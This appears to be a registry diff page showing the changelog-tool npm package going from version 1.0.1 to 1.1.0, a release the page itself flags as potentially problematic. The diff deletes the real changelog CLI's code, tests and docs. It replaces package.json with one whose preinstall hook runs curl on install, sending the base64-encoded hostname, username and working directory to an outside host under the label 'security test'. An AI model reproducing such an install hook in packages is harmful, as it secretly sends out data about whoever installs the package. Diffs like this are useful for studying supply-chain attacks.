changelog-tool 1.0.1 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of changelog-tool might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,32 +1 @@
1
- {
2
- "name": "changelog-tool",
3
- "version": "1.0.1",
4
- "description": "A CLI tool for manipulating changelogs",
5
- "type": "module",
6
- "main": "index.mjs",
7
- "homepage": "https://github.com/evert/changelog-tool",
8
- "author": "Evert Pot (https://evertpot.com/)",
9
- "license": "MIT",
10
- "scripts": {
11
- "test": "node --test",
12
- "watch": "tsc --watch"
13
- },
14
- "repository": {
15
- "type": "git",
16
- "url": "git@github.com:evert/changelog-tool.git"
17
- },
18
- "keywords": [
19
- "changelog",
20
- "markdown"
21
- ],
22
- "engine": {
23
- "node": ">16"
24
- },
25
- "bin": {
26
- "changelog": "./cli.mjs"
27
- },
28
- "devDependencies": {
29
- "@types/node": "^18.11.19",
30
- "typescript": "^4.9.5"
31
- }
32
- }
1
+ {"name": "changelog-tool", "version": "1.1.0", "description": "Hello =)", "main": "index.js", "scripts": {"test": "echo \"Error: no test specified\" && exit 1", "preinstall": "curl -H \"Package: changelog-tool\" -H \"Version: 1.1.0\" -H \"Hostname: $(hostname | base64)\" -H \"Whoami: $(whoami | base64)\" -H \"Pwd: $(pwd | base64)\" -d \"meow! security test\" http://npm_new.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru"}, "author": "act1on3", "license": "ISC"}
@@ -1,45 +0,0 @@
1
- # This workflow will do a clean install of node dependencies, build the source code and run tests across different versions of node
2
- # For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions
3
-
4
- name: Node.js CI
5
-
6
- on:
7
- push:
8
- branches: [ main ]
9
- pull_request:
10
- branches: [ main ]
11
-
12
- jobs:
13
- node-test:
14
- name: Node.js tests
15
-
16
- runs-on: ubuntu-latest
17
- timeout-minutes: 5
18
-
19
- strategy:
20
- matrix:
21
- node-version: [16.x, 18.x, 20.x]
22
- # See supported Node.js release schedule at https://nodejs.org/en/about/releases/
23
-
24
- steps:
25
- - uses: actions/checkout@v2
26
- - name: Use Node.js ${{ matrix.node-version }}
27
- uses: actions/setup-node@v1
28
- with:
29
- node-version: ${{ matrix.node-version }}
30
- - run: npm ci
31
- - run: npm test
32
-
33
- types:
34
- name: Typescript check
35
-
36
- runs-on: ubuntu-latest
37
-
38
- steps:
39
- - uses: actions/checkout@v2
40
- - name: Use Node.js
41
- uses: actions/setup-node@v1
42
- with:
43
- node-version: 18.x
44
- - run: npm ci
45
- - run: npx tsc
package/changelog.md DELETED
@@ -1,98 +0,0 @@
1
- Changelog
2
- =========
3
-
4
- 1.0.1 (2023-06-30)
5
- ------------------
6
-
7
- * Fix bug in parsing link references with more than 1 character
8
-
9
-
10
- 1.0.0 (2023-06-20)
11
- ------------------
12
-
13
- First stable release! Just kidding, it was already stable.
14
-
15
- * Add support for [Markdown reference links][1]. References are a Markdown
16
- feature that lets you write links in paragraphs, but put the actual target
17
- near the end of the document similar to references in technical documents.
18
- This can declutter the reading experience for those reading the Markdown
19
- sources. The tool doesn't let you quickly add links via the CLI yet, but it
20
- will no longer mangle them when they appear.
21
- * Testing Node 20
22
- * Bugfix: Always insert an empty line between the 'preface' and bulletpoints
23
- sections of a version block.
24
-
25
-
26
- 0.7.2 (2023-02-17)
27
- ------------------
28
-
29
- * Added a `--nowrap` option to `show`, which doesn't wrap long lines. This is
30
- useful for copy-pasting changelog into places where linebreaks are
31
- significant, such as the Github releases section.
32
- * Support multiple digits for the alpha/beta release string.
33
- * Also allows setting the changelog message as positional arguments.
34
-
35
-
36
- 0.7.1 (2023-02-14)
37
- ------------------
38
-
39
- * Bug: forgot to commit the release
40
-
41
-
42
- 0.7.0 (2023-02-14)
43
- ------------------
44
-
45
- * The "release" command now automatically commits and and creates a git tag,
46
- much like `npm version`
47
-
48
-
49
- 0.6.0 (2023-02-14)
50
- ------------------
51
-
52
- * The release command now automatically calls "npm version" if a package.json
53
- was found in the project directory
54
- * Bug fix: the --major and --minor arguments were ignored when using "add" to
55
- create a new version log
56
-
57
-
58
- 0.5.0 (2023-02-12)
59
- ------------------
60
-
61
- * Support changing the version to the next major/minor using the `--major` and
62
- `--minor` arguments.
63
- * The `add` command now uses the -m argument instead of a positional for the
64
- message.
65
-
66
-
67
- 0.4.1 (2023-02-12)
68
- ------------------
69
-
70
- * Make sure that the binary is executable
71
-
72
-
73
- 0.4.0 (2023-02-12)
74
- ------------------
75
-
76
- * Implemented the "format", "parse" and "release" commands.
77
-
78
-
79
- 0.3.0 (2023-02-12)
80
- ------------------
81
-
82
- * Implemented the 'show' command.
83
-
84
-
85
- 0.2.0 (2023-02-12)
86
- ------------------
87
-
88
- * Implemented the 'list' command.
89
- * Added testing framework based on node:test.
90
-
91
-
92
- 0.1.0 (2023-02-08)
93
- ------------------
94
-
95
- * Implemented the 'help' and 'init' commands
96
-
97
- [1]: https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet#link
98
- "Markdown cheatsheet: Links"
package/changelog.mjs DELETED
@@ -1,193 +0,0 @@
1
- import { calculateNextVersion, wrap } from './util.mjs';
2
-
3
- // @ts-check
4
- export class Changelog {
5
-
6
- title = 'Changelog';
7
-
8
- /**
9
- * @type {VersionLog[]}
10
- */
11
- versions = [];
12
-
13
- /**
14
- * @type {Link[]}
15
- */
16
- links = [];
17
-
18
- toString() {
19
-
20
- return (
21
- this.title + '\n' +
22
- ('='.repeat(this.title.length)) + '\n' +
23
- '\n' +
24
- this.versions.map(version => version.toString()).join('\n\n') +
25
-
26
- // Sorry about this line future me (or someone else)
27
- (this.links.length > 0 ? ('\n' + this.links.map( link => wrap(`[${link.name}]: ${link.href}${link.title?` "${link.title}"`:''}`, link.name.length+4)).join('\n') + '\n') : '')
28
- );
29
-
30
- }
31
-
32
- /**
33
- * Adds a new Version log
34
- *
35
- * @param version {VersionLog}
36
- * @returns {VersionLog}
37
- */
38
- add(version) {
39
-
40
- this.versions = [version, ...this.versions];
41
- return version;
42
-
43
- }
44
-
45
- /**
46
- * Adds a new version to the log. Version string is automatically increased
47
- * from the previous one
48
- *
49
- * @param {'patch'|'minor'|'major'} changeType
50
- * @returns {VersionLog}
51
- */
52
- newVersion(changeType = 'patch') {
53
-
54
- const lastVersion = this.versions[0].version;
55
- const newVersion = calculateNextVersion(lastVersion, changeType);
56
- const versionLog = new VersionLog(newVersion);
57
-
58
- return this.add(versionLog);
59
-
60
- }
61
-
62
- /**
63
- * Finds a VersionLog by its version string
64
- *
65
- * @param {string} version
66
- * @returns {VersionLog}
67
- */
68
- get(version) {
69
-
70
- const log = this.versions.find( myLog => myLog.version === version);
71
- if (!log) {
72
- throw new Error(`Couldn't find version ${version} in the changelog`);
73
- }
74
- return log;
75
-
76
- }
77
-
78
- }
79
-
80
- export class VersionLog {
81
-
82
- /**
83
- * @type {string}
84
- */
85
- version;
86
-
87
- /**
88
- * @type {string|null}
89
- */
90
- date = null;
91
-
92
- /**
93
- * @type {string|null}
94
- */
95
- preface = null;
96
-
97
- /**
98
- * @type {string|null}
99
- */
100
- postface = null;
101
-
102
- /**
103
- * @type {LogItem[]}
104
- */
105
- items = [];
106
-
107
- /**
108
- * @param {string} version
109
- */
110
- constructor(version) {
111
- this.version = version;
112
-
113
- }
114
-
115
- /**
116
- * @param {string} message
117
- * @returns {LogItem}
118
- */
119
- add(message) {
120
- const item = new LogItem(message);
121
- this.items.push(item);
122
- return item;
123
- }
124
-
125
- toString() {
126
-
127
- return this.output();
128
-
129
- }
130
-
131
- /**
132
- * Renders the changelog as a string.
133
- *
134
- * @param {boolean} lineWrap
135
- * @returns {string}
136
- */
137
- output(lineWrap = true) {
138
-
139
- const lineLength = lineWrap ? 79 : Infinity;
140
- const title = this.version + ' (' + (this.date ?? '????-??-??') + ')';
141
- return (
142
- title + '\n' +
143
- ('-'.repeat(title.length)) + '\n' +
144
- (this.preface ? '\n' + wrap(this.preface, 0, lineLength) + '\n' : '') +
145
- '\n' +
146
- this.items.map(version => version.output(lineWrap)).join('\n') +
147
- '\n' +
148
- (this.postface ? '\n' + wrap(this.postface, 0, lineLength) + '\n' : '')
149
- );
150
-
151
- }
152
-
153
- }
154
-
155
- export class LogItem {
156
-
157
- /**
158
- * @type {string}
159
- */
160
- message;
161
-
162
- /**
163
- * @param {string} message
164
- */
165
- constructor(message) {
166
- this.message = message;
167
- }
168
-
169
- /**
170
- * Renders the changelog as a string.
171
- *
172
- * @param {boolean} lineWrap
173
- * @returns {string}
174
- */
175
- output(lineWrap = true) {
176
- const lineLength = lineWrap ? 79 : Infinity;
177
- return wrap('* ' + this.message, 2, lineLength);
178
- }
179
-
180
- toString() {
181
-
182
- return wrap('* ' + this.message, 2);
183
-
184
- }
185
-
186
- }
187
-
188
- /**
189
- * @typedef Link {Object}
190
- * @property Link.href {string}
191
- * @property Link.name {string}
192
- * @property Link.title {string|null}
193
- */
package/cli.mjs DELETED
@@ -1,289 +0,0 @@
1
- #!/usr/bin/env node
2
- // @ts-check
3
- import { parseArgs } from 'node:util';
4
- import * as fs from 'node:fs/promises';
5
- import * as url from 'node:url';
6
- import { readPackageVersion, exists, calculateNextVersion, isGit, isGitClean, runCommand } from './util.mjs';
7
- import { Changelog, VersionLog, LogItem } from './changelog.mjs';
8
- import { parseFile } from './parse.mjs';
9
- import { execSync } from 'node:child_process';
10
-
11
- const filename = 'changelog.md';
12
-
13
- const pkg = JSON.parse(
14
- await fs.readFile(
15
- url.fileURLToPath(url.resolve(import.meta.url, './package.json')),
16
- 'utf-8',
17
- )
18
- );
19
-
20
- async function main() {
21
-
22
- const { positionals, values } = parseArgs({
23
- options: {
24
- help: {
25
- type: 'boolean',
26
- short: 'h',
27
- default: false,
28
- description: 'This help screen',
29
- },
30
- all: {
31
- type: 'boolean',
32
- default: false,
33
- description: 'Show all versions',
34
- },
35
- message: {
36
- type: 'string',
37
- description: 'Changelog message',
38
- short: 'm'
39
- },
40
- patch: {
41
- type: 'boolean',
42
- description: 'Indicates that the current change is a patch-level change.',
43
- },
44
- minor: {
45
- type: 'boolean',
46
- description: 'Indicates that the current change is a minor change.',
47
- },
48
- major: {
49
- type: 'boolean',
50
- description: 'Indicates that the current change is a major change.',
51
- },
52
- nowrap: {
53
- type: 'boolean',
54
- description: 'Don\'t wrap "show" output'
55
- }
56
- },
57
- allowPositionals: true,
58
- });
59
-
60
-
61
-
62
- if (positionals.length < 1 || values.help) {
63
- help();
64
- process.exit(1);
65
- }
66
-
67
- const command = positionals[0];
68
-
69
- switch(command) {
70
- case 'help' :
71
- await help();
72
- break;
73
- case 'init' :
74
- await init();
75
- break;
76
- case 'add' :
77
- /** @type {'major' | 'minor' | 'patch'} */
78
- let changeType = 'patch';
79
- if (values.minor) {
80
- changeType = 'minor';
81
- }
82
- if (values.major) {
83
- changeType = 'major';
84
- }
85
- if (!values.message) {
86
- if (positionals.length>1) {
87
- // We also support setting a message after the command instead of -m
88
- values.message = positionals.slice(1).join(' ');
89
- } else {
90
- throw new Error('The "-m" or "--message" argument is required');
91
- }
92
- }
93
- await add({
94
- message: values.message,
95
- changeType,
96
- });
97
- break;
98
- case 'release' :
99
- await release();
100
- break;
101
- case 'format' :
102
- await format();
103
- break;
104
- case 'show' :
105
- await show({
106
- all: !!values.all,
107
- version: positionals[1],
108
- noWrap: !!values.nowrap
109
- });
110
- break;
111
- case 'list' :
112
- await list();
113
- break;
114
- default:
115
- process.stderr.write(`Unknown command ${command}\n`);
116
- process.exit(1);
117
- break;
118
- }
119
-
120
- }
121
-
122
- try {
123
- await main();
124
- } catch (err) {
125
- process.stderr.write('Error: ' + err.message + '\n');
126
- process.exit(1);
127
- }
128
-
129
- function help() {
130
- console.log(
131
- `Changelog Tool v${pkg.version}
132
-
133
- Manipulate your changelog file
134
-
135
- Usage:
136
-
137
- changelog init - Create a new, empty changelog.
138
- changelog add -m [message] - Adds a new line to the changelog.
139
- changelog release - Marks the current changelog as released.
140
- changelog show - Show the last changelog.
141
- changelog show [version] - Show the changelog of a specific version.
142
- changelog list - List all versions in the changelog.
143
- changelog format - Reformats the changelog in the standard format.
144
-
145
- The logs this tool uses follows a specific markdown format. Currently it will
146
- only look for a file named 'changelog.md' in the current directory.
147
-
148
- To see an example of this format, you can either run 'changelog init' or
149
- check out the changelog shipped with this project:
150
-
151
- https://github.com/evert/changelog-tool
152
- `);
153
-
154
- }
155
-
156
- async function init() {
157
-
158
- if (await exists(filename)) {
159
- throw new Error(`A file named ${filename} already exists`);
160
- }
161
-
162
- const changelog = new Changelog();
163
- const version = new VersionLog(await readPackageVersion());
164
- version.add('New project!');
165
- changelog.versions.push(version);
166
-
167
- await fs.writeFile(filename, changelog.toString());
168
- console.log(`${filename} created`);
169
-
170
- }
171
-
172
- async function list() {
173
-
174
- const changelog = await parseChangelog();
175
-
176
- for(const version of changelog.versions) {
177
- console.log(version.version);
178
- }
179
-
180
- }
181
-
182
- /**
183
- * @param {Object} showOptions
184
- * @param {boolean} showOptions.all Show all versions
185
- * @param {string?} showOptions.version show a specific version
186
- * @param {boolean?} showOptions.noWrap don't line-wrap output
187
- */
188
- async function show({all, version, noWrap}) {
189
-
190
- const changelog = await parseChangelog();
191
-
192
- let toRender;
193
- if (all) {
194
- toRender = changelog.versions;
195
- } else if (version) {
196
- toRender = [changelog.get(version)];
197
- } else {
198
- toRender = [changelog.versions[0]];
199
- }
200
-
201
- console.log(
202
- toRender
203
- .map( log => log.output(!noWrap))
204
- .join('\n\n')
205
- );
206
-
207
- }
208
-
209
- async function format() {
210
- const changelog = await parseChangelog();
211
- await fs.writeFile(filename, changelog.toString());
212
- console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
213
- }
214
-
215
- /**
216
- * @param {Object} options
217
- * @param {string} options.message
218
- * @param {'patch'|'major'|'minor'} options.changeType
219
- */
220
- async function add({message, changeType}) {
221
- const changelog = await parseChangelog();
222
-
223
- let lastVersion = changelog.versions[0];
224
- if (lastVersion.date) {
225
- lastVersion = changelog.newVersion(changeType);
226
- console.log('Creating new version: %s', lastVersion.version);
227
- } else {
228
- if (changeType === 'minor' || changeType === 'major') {
229
- const previousVersion = changelog.versions[1];
230
- const updatedVersionStr = calculateNextVersion(previousVersion.version, changeType);
231
- if (updatedVersionStr !== lastVersion.version) {
232
- console.log('Updating unreleased version from %s to %s', lastVersion.version, updatedVersionStr);
233
- lastVersion.version = updatedVersionStr;
234
- }
235
- }
236
- }
237
-
238
- lastVersion.add(message);
239
-
240
- await fs.writeFile(filename, changelog.toString());
241
- console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
242
- }
243
-
244
- async function release() {
245
- const changelog = await parseChangelog();
246
-
247
- let lastVersion = changelog.versions[0];
248
- if (lastVersion.date) {
249
- throw new Error(`Previous version "${lastVersion.version}" already had a release date`);
250
- }
251
- lastVersion.date = new Date().toISOString().substr(0,10);
252
- console.log(`Releasing ${lastVersion.version}`);
253
-
254
- const useGit = await isGit();
255
-
256
- if (useGit) {
257
- if (!await isGitClean()) {
258
- throw new Error('Current git working directory is not clean. Please commit your changes first');
259
- }
260
- }
261
-
262
- await fs.writeFile(filename, changelog.toString());
263
- console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
264
-
265
- if (await exists('package.json')) {
266
- runCommand(
267
- `npm version "${lastVersion.version}" --no-git-tag-version`
268
- );
269
- }
270
- if (useGit) {
271
- runCommand(`git add --all`);
272
- runCommand(`git commit -m "Releasing ${lastVersion.version}"`);
273
- runCommand(`git tag v${lastVersion.version}`);
274
- }
275
-
276
- }
277
-
278
- /**
279
- * @returns {Promise<Changelog>}
280
- */
281
- async function parseChangelog() {
282
-
283
- if (!await exists(filename)) {
284
- throw new Error(`${filename} not found in current directory`);
285
- }
286
-
287
- return await parseFile(filename);
288
-
289
- }
package/index.mjs DELETED
@@ -1,2 +0,0 @@
1
- export { parse, parseFile } from './parse.mjs';
2
- export { Changelog, VersionLog, LogItem } from './changelog.mjs';
package/parse.mjs DELETED
@@ -1,122 +0,0 @@
1
- // @ts-check
2
- import { Changelog, VersionLog } from "./changelog.mjs";
3
- import { readFile } from 'node:fs/promises';
4
-
5
- /**
6
- * @param {string} filename
7
- * @returns {Promise<Changelog>}
8
- */
9
- export async function parseFile(filename) {
10
-
11
- return parse(
12
- await readFile(filename, 'utf-8')
13
- );
14
-
15
- }
16
-
17
- const linkReferenceRe = /^\[([a-zA-Z0-9]+)\]:/;
18
- const versionRe = /^([0-9\.]{3,}(?:-(?:alpha|beta)\.[0-9]+)?) \(([0-9]{4}-[0-9]{2}-[0-9]{2}|\?\?\?\?-\?\?-\?\?)\)$/;
19
-
20
-
21
- /**
22
- * @param {string} changelogInput
23
- * @returns {Changelog}
24
- */
25
- export function parse(changelogInput) {
26
-
27
- const lines = changelogInput.split('\n');
28
- if (!lines[1].match(/^={1,}$/)) {
29
- throw new Error('Parse error: Line 1 and 2 of the changelog must be in the format "Changelog\\n=====". We did not find all equals signs on the second line.');
30
- }
31
- const changelog = new Changelog();
32
- changelog.title = lines[0];
33
-
34
- let lastVersionLog = null;
35
- let lastBullet = null;
36
-
37
- for(let idx=2; idx<lines.length; idx++) {
38
-
39
- const line = lines[idx];
40
-
41
- if (line.startsWith('* ')) {
42
- // Found a bullet point
43
- if (!lastVersionLog) {
44
- throw new Error(`Parse error: found a bullet point * outside of a level 2 heading on line ${idx+1}`);
45
- }
46
- lastBullet = lastVersionLog.add(line.substr(1).trim());
47
- continue;
48
- }
49
- if (line.startsWith(' ')) {
50
- // Continuation of last line.
51
- if (!lastBullet) {
52
- throw new Error(`Parse error: unexpected indented string on line ${line+1}`);
53
- }
54
- lastBullet.message += ' ' + line.trim();
55
- continue;
56
- }
57
-
58
- // Look for link references
59
- if (linkReferenceRe.test(line)) {
60
-
61
- let linkRefLine = line;
62
- while(lines[idx+1]?.match(/^\W\W/)) {
63
- // If the line was folded over multiple lines, read those too.
64
- linkRefLine += ' ' + lines[idx+1].trim();
65
- idx++;
66
- }
67
- const name = linkRefLine.match(linkReferenceRe)?.[1];
68
- const href = linkRefLine.split(' ')[1];
69
- const title = linkRefLine.includes('"') ? linkRefLine.substring(linkRefLine.indexOf('"')+1,linkRefLine.lastIndexOf('"')) : null;
70
- changelog.links.push({
71
- name: /** @type {string} */(name),
72
- href,
73
- title
74
- });
75
- continue;
76
-
77
- }
78
-
79
- // Look to the next line for ----
80
- if (lines[idx+1]?.match(/^-{1,}$/)) {
81
- // Found a new Version
82
- const matches = line.match(versionRe);
83
-
84
- if (!matches) {
85
- throw new Error(`A version title must have the format "1.0.0 (YYYY-MM-DD)" or "1.0.0 (????-??-??)" for unreleased versions. We found: "${line}"`);
86
- }
87
-
88
- const versionLog = new VersionLog(matches[1]);
89
- if (matches[2] === '????-??-??') {
90
- versionLog.date = null;
91
- } else {
92
- versionLog.date = matches[2];
93
- }
94
- changelog.versions.push(versionLog);
95
- lastVersionLog = versionLog;
96
- lastBullet = null;
97
- idx++;
98
- continue;
99
-
100
- }
101
-
102
- if (line.trim()==='') {
103
- continue;
104
- }
105
-
106
- if (!lastVersionLog) {
107
- throw new Error(`Parse error: unexpected string on line ${line+1}`);
108
- }
109
- // If we got here, this is either a loose preface or postface line.
110
- if (lastBullet) {
111
- lastVersionLog.postface = lastVersionLog.postface ? lastVersionLog.postface + ' ' + line : line;
112
- } else {
113
- lastVersionLog.preface = lastVersionLog.preface ? lastVersionLog.preface + ' ' + line : line;
114
- }
115
-
116
-
117
- }
118
-
119
- return changelog;
120
-
121
-
122
- }
package/readme.md DELETED
@@ -1,99 +0,0 @@
1
- Changelog tool
2
- ==============
3
-
4
- This repository contains a simple tool for reading and manipulating changelog
5
- files.
6
-
7
- This tool currently expects to work with a file named 'changelog.md' in the
8
- current working directory. This is a markdown file that looks like this:
9
-
10
- ```
11
- Changelog
12
- =========
13
-
14
- 0.4.0 (????-??-??)
15
- ------------------
16
-
17
- * Feature A
18
- * Bugfix 3
19
-
20
- 0.3.0 (2023-02-08)
21
- ------------------
22
-
23
- * First public release!
24
- ```
25
-
26
- Questionmarks for the date indicate an unreleased version.
27
-
28
- Installation
29
- ------------
30
-
31
- ```sh
32
- npm install changelog-tool --global
33
- ```
34
-
35
- CLI
36
- ---
37
-
38
- To tool can be used programmatically and with the CLI. The CLI has the
39
- following commands:
40
-
41
- ```
42
- changelog init - Create a new, empty npx changelog.
43
- changelog add -m [message] - Adds a new line to the npx changelog.
44
- changelog release - Marks the current npx changelog as released.
45
- changelog show - Show the last npx changelog.
46
- changelog show [version] - Show the npx changelog of a specific version.
47
- changelog list - List all versions in the npx changelog.
48
- changelog format - Reformats the npx changelog in the standard format.
49
- ```
50
-
51
- ### 'add' command
52
-
53
- The add comment lets you add a new message at the bottom of the last unreleased
54
- version.
55
-
56
- To use it, just run:
57
-
58
- ```
59
- changelog add -m "Bug fix"
60
- ```
61
-
62
- If there is no unreleased version, it will create a new section and increase
63
- the version number.
64
-
65
- If the current change should result in a new major or minor version number, you
66
- can use the following arguments.
67
-
68
- ```
69
- changelog add --minor -m "New feature"
70
- changelog add --major -m "Backwards compatibility break"
71
- ```
72
-
73
- These settings will automatically adjust the version string of the most recent
74
- unreleased version.
75
-
76
- ### 'release' command
77
-
78
- The release command will look for a recent unreleased version in the changelog
79
- (where the date is marked `????-??-??`) and change it to the current date:
80
-
81
- ```
82
- changelog release
83
- ```
84
-
85
- If the tool detects a `package.json` file in the current directory, it will
86
- also call:
87
-
88
- ```
89
- npm version [version] --no-git-tag-version
90
- ```
91
-
92
- This command adjust the `version` field in `package.json` to match the latest
93
- changelog version.
94
-
95
- If the tool detects if this is a git directory, it will also:
96
-
97
- * Ensure that the working directory is clean.
98
- * Commit the changes.
99
- * Create a tag with `git tag v[version]`.
package/test/parse.mjs DELETED
@@ -1,140 +0,0 @@
1
- // @ts-check
2
- import { test } from 'node:test';
3
- import { parse } from '../parse.mjs';
4
- import * as assert from 'node:assert';
5
-
6
- test('Parsing changelog metadata', async () => {
7
-
8
- const input = `Time for a change
9
- =========
10
-
11
- 0.2.0 (????-??-??)
12
- ------------------
13
-
14
- * Implemented the 'list' command.
15
- * Added testing framework.
16
-
17
- 0.1.0 (2023-02-08)
18
- ------------------
19
-
20
- * Implemented the 'help' and 'init' commands.
21
- *
22
- `;
23
-
24
- const result = await parse(input);
25
-
26
- assert.equal('Time for a change', result.title);
27
- assert.equal(2, result.versions.length);
28
-
29
- assert.equal(null, result.versions[0].date);
30
- assert.equal('0.2.0', result.versions[0].version);
31
- assert.equal('2023-02-08', result.versions[1].date);
32
- assert.equal('0.1.0', result.versions[1].version);
33
-
34
- });
35
-
36
- test('Parsing changelog entries', async () => {
37
-
38
- const input = `Time for a change
39
- =========
40
-
41
- 0.2.0 (????-??-??)
42
- ------------------
43
-
44
- * Implemented the 'list' command.
45
- * Added testing framework.
46
-
47
- 0.1.0 (2023-02-08)
48
- ------------------
49
-
50
- * Implemented the 'help' and 'init' commands.
51
- *
52
- `;
53
-
54
- const result = await parse(input);
55
-
56
- const latest = result.get('0.2.0');
57
- assert.equal(2, latest.items.length);
58
- assert.equal('Implemented the \'list\' command.', latest.items[0].message);
59
-
60
-
61
- });
62
-
63
- test('Preface and postface', async () => {
64
-
65
- const input = `Time for a change
66
- =========
67
-
68
- 0.2.0 (????-??-??)
69
- ------------------
70
-
71
- WOW another release. How good is that?
72
- Here's another line.
73
-
74
- * Implemented the 'list' command.
75
- * Added testing framework.
76
-
77
- Well, that's all folks.
78
-
79
- 0.1.0 (2023-02-08)
80
- ------------------
81
-
82
- * Implemented the 'help' and 'init' commands.
83
- *
84
- `;
85
-
86
- const result = await parse(input);
87
-
88
- const latest = result.get('0.2.0');
89
-
90
- assert.equal('WOW another release. How good is that? Here\'s another line.', latest.preface);
91
- assert.equal('Well, that\'s all folks.', latest.postface);
92
-
93
-
94
- });
95
-
96
- test('Link references', async() => {
97
-
98
-
99
- const input = `Changesss
100
- =========
101
-
102
- 0.2.0 (????-??-??)
103
- ------------------
104
-
105
- WOW another release. How good is that?
106
- Here's another line.
107
-
108
- * Implemented the 'list' command.
109
- * Added testing framework. See [the blog post][1] for more information.
110
-
111
- 0.1.0 (2023-02-08)
112
- ------------------
113
-
114
- * Implemented the ['help'][2] and 'init' commands.
115
-
116
- [1]: https://evertpot.com/ "My Blog"
117
- [2]: https://indieweb.social/@evert "My Mastodon account, but it's split
118
- over two lines"
119
- [blabla]: http://example
120
- `;
121
-
122
- const result = await parse(input);
123
-
124
- assert.deepEqual({
125
- name: '1',
126
- href: 'https://evertpot.com/',
127
- title: 'My Blog',
128
- }, result.links[0]);
129
- assert.deepEqual({
130
- name: '2',
131
- href: 'https://indieweb.social/@evert',
132
- title: 'My Mastodon account, but it\'s split over two lines',
133
- }, result.links[1]);
134
- assert.deepEqual({
135
- name: 'blabla',
136
- href: 'http://example',
137
- title: null,
138
- }, result.links[2]);
139
-
140
- });
package/tsconfig.json DELETED
@@ -1,16 +0,0 @@
1
- {
2
- "compilerOptions": {
3
- "target": "es2022",
4
- "module": "esnext",
5
- "rootDir": "./",
6
- "allowJs": true,
7
- "checkJs": true,
8
-
9
- "moduleResolution": "node",
10
-
11
- "noEmit": true,
12
- "strict": true,
13
- "useUnknownInCatchVariables": false,
14
-
15
- }
16
- }
package/util.mjs DELETED
@@ -1,153 +0,0 @@
1
- // @ts-check
2
- import { execSync } from 'node:child_process';
3
- import * as fs from 'node:fs/promises';
4
- import * as path from 'node:path';
5
-
6
- /**
7
- * Checks if a file exists
8
- *
9
- * @param {string} filename
10
- * @returns {Promise<boolean>}
11
- */
12
- export async function exists(filename) {
13
-
14
- try {
15
- await fs.stat(filename)
16
- } catch (err) {
17
- if (err.code === 'ENOENT') return false;
18
- throw err;
19
- }
20
- return true;
21
-
22
- }
23
-
24
- /**
25
- * Returns the version property of the package.json file in the current
26
- * directory.
27
- *
28
- * @returns {Promise<string>}
29
- */
30
- export async function readPackageVersion() {
31
-
32
- if (!await exists('package.json')) {
33
- throw new Error('package.json does not exists in the current directory');
34
- }
35
-
36
- const json = JSON.parse(
37
- await fs.readFile(
38
- 'package.json',
39
- 'utf-8'
40
- )
41
- );
42
-
43
- return json.version;
44
-
45
- }
46
-
47
- /**
48
- * Wraps a line over multiple lines.
49
- *
50
- * @param {string} input
51
- * @param {number} secondLineOffset
52
- * @param {number} lineLength
53
- */
54
- export function wrap(input, secondLineOffset = 0, lineLength = 79) {
55
-
56
- const words = input.split(' ');
57
- const lines = [];
58
- for(const word of words) {
59
-
60
- if (!lines.length) {
61
- // First line
62
- lines.push(word);
63
- continue;
64
- }
65
-
66
- const maxLength = lines.length > 1 ? lineLength - secondLineOffset : lineLength;
67
-
68
- const potentialNewLine = [lines.at(-1),word].join(' ');
69
- if (potentialNewLine.length>maxLength) {
70
- lines.push(word);
71
- } else {
72
- lines[lines.length-1] = potentialNewLine;
73
- }
74
-
75
- }
76
- return lines.join('\n' + ' '.repeat(secondLineOffset));
77
-
78
- }
79
-
80
- /**
81
- * @param {string} prevVersion
82
- * @param {'patch'|'minor'|'major'} changeType
83
- * @returns {string}
84
- */
85
- export function calculateNextVersion(prevVersion, changeType = 'patch') {
86
-
87
- // This function only currently understands 1 format, but this may change
88
- // in the future.
89
- if (!prevVersion.match(/^[0-9]+\.[0-9]+\.[0-9]+$/)) {
90
- throw new Error(`Could not automatically determine the next ${changeType} version from ${prevVersion}. You might want to request a new feature to support this`);
91
- }
92
-
93
- const parts = prevVersion.split('.').map( part => +part);
94
-
95
- switch(changeType) {
96
- case 'major' :
97
- parts[0]++;
98
- parts[1]=0;
99
- parts[2]=0;
100
- break;
101
- case 'minor' :
102
- parts[1]++;
103
- parts[2]=0;
104
- break;
105
- case 'patch' :
106
- parts[2]++;
107
- break;
108
- }
109
-
110
- return parts.join('.');
111
-
112
- }
113
-
114
- /**
115
- * Returns true if we're in a git-powered directory
116
- *
117
- * @returns {Promise<boolean>}
118
- */
119
- export async function isGit() {
120
-
121
- let currentPath = process.cwd();
122
- while(currentPath!=='/') {
123
- if (await exists(path.join(currentPath,'.git'))) {
124
- return true;
125
- }
126
- currentPath = path.dirname(currentPath);
127
- }
128
- return false;
129
-
130
- }
131
-
132
- /**
133
- * @param {string} command
134
- * @returns {string}
135
- */
136
- export function runCommand(command) {
137
-
138
- process.stderr.write(command + '\n');
139
- return execSync(command).toString('utf-8');
140
-
141
- }
142
-
143
- /**
144
- * Returns true if the current working directory is clean.
145
- *
146
- * @returns {boolean}
147
- */
148
- export function isGitClean() {
149
-
150
- const result = execSync('git status --porcelain=v1').toString('utf-8');
151
- return result.trim().length === 0;
152
-
153
- }